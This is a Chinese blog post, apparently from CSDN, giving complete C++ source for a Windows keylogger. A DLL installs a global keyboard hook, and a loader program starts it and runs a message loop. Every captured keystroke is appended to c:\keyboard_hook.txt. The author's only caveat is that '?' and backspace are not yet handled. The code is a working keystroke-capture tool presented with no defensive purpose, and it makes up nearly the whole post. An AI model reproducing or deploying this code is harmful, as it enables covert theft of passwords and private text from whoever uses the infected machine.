键盘钩子

本文介绍了一个使用DLL实现的键盘钩子程序,能够捕获并记录用户的大部分键盘输入,包括特殊字符和按键。该程序通过设置全局键盘钩子来监听键盘事件,并将记录的数据写入文本文件。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

keyboard_hook.h:

#ifndef KEYBOARD_HOOK_H
#define KEYBOARD_HOOK_H
#include <Windows.h>

extern "C" void __declspec(dllexport) SetKbHook();
extern "C" void __declspec(dllexport) RemoveKbHook();

#endif

keyboard_hook.cpp:

#include "keyboard_hook.h"
#include <stdio.h>

#define FILE_PATH "c:\\keyboard_hook.txt"
static BOOL bHooked = FALSE;
static HHOOK hhook = 0, hhookMsg = 0;
static HINSTANCE hInst;
static FILE *file;
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
//DLL 动态链接库入口
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
	switch (fdwReason) {
	case DLL_PROCESS_ATTACH:
		hInst = hinstDLL;
		break;
	case DLL_THREAD_ATTACH:
		break;
	case DLL_THREAD_DETACH:
		break;
	case DLL_PROCESS_DETACH:
		break;
	default:
		break;
	}
	return TRUE;
}
void __declspec(dllexport) SetKbHook() {
	if (!bHooked) {
		hhook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC) KeyboardProc, hInst,
				(DWORD)NULL);
		bHooked = TRUE;
	}
}
void __declspec(dllexport) RemoveKbHook() {
	if (bHooked) {
		UnhookWindowsHookEx(hhook);
	}
}

LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam, LPARAM lParam)
{
    char ch;
    if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
    {
        if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
        {
            file=fopen(FILE_PATH,"a+");
            if (wParam==VK_RETURN)
            {
                ch='\n';
                fwrite(&ch,1,1,file);
            }
            else
            {
                BYTE ks[256];
                GetKeyboardState(ks);

                WORD w;
                UINT scan=0;
                ToAscii(wParam,scan,ks,&w,0);
                ch = char(w);
                fwrite(&ch,1,1,file);
            }
			fclose(file);
        }
    }

    LRESULT RetVal = CallNextHookEx( hhook, nCode, wParam, lParam );
    return  RetVal;
}

keyboard_hook_main.cpp:

#include "..\keyboard_hook\keyboard_hook.h"
//win 函数入口
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
		LPSTR lpszCmdLine, int nCmdShow)
{
	MSG msg;
	TCHAR text[] = L"Error loading DLL!";
	TCHAR title[] = L"Key Tracer";
	BOOL error=FALSE;
	HINSTANCE dllhinst;
//创建安装钩子函数指针,用来记录dll中安装钩子的地址
	typedef VOID (CALLBACK* KeyboardHook)(VOID);
	KeyboardHook keyboardHook;
//加载钩子dll
	TCHAR dllPath[] = L"keyboard_hook.dll";
	dllhinst=LoadLibrary(dllPath);
//判断是否加载dll成功
	if (dllhinst!=NULL)
	{
		keyboardHook=(KeyboardHook)GetProcAddress(dllhinst, "SetKbHook");
		if (!keyboardHook)
		{
			FreeLibrary(dllhinst);
			error=TRUE;
		}
		else
		{
			keyboardHook();
		}
	}
	else {
		error=TRUE;
	}

	if (error) {
		MessageBox(GetDesktopWindow(),text,title, MB_OK);
	}

	while (GetMessage(&msg,0,0,0))
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}

	return msg.wParam;
}

测试了一下,能处理大部分键盘输入,但是问号?还有回退backspace等还处理不了,有待改进。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值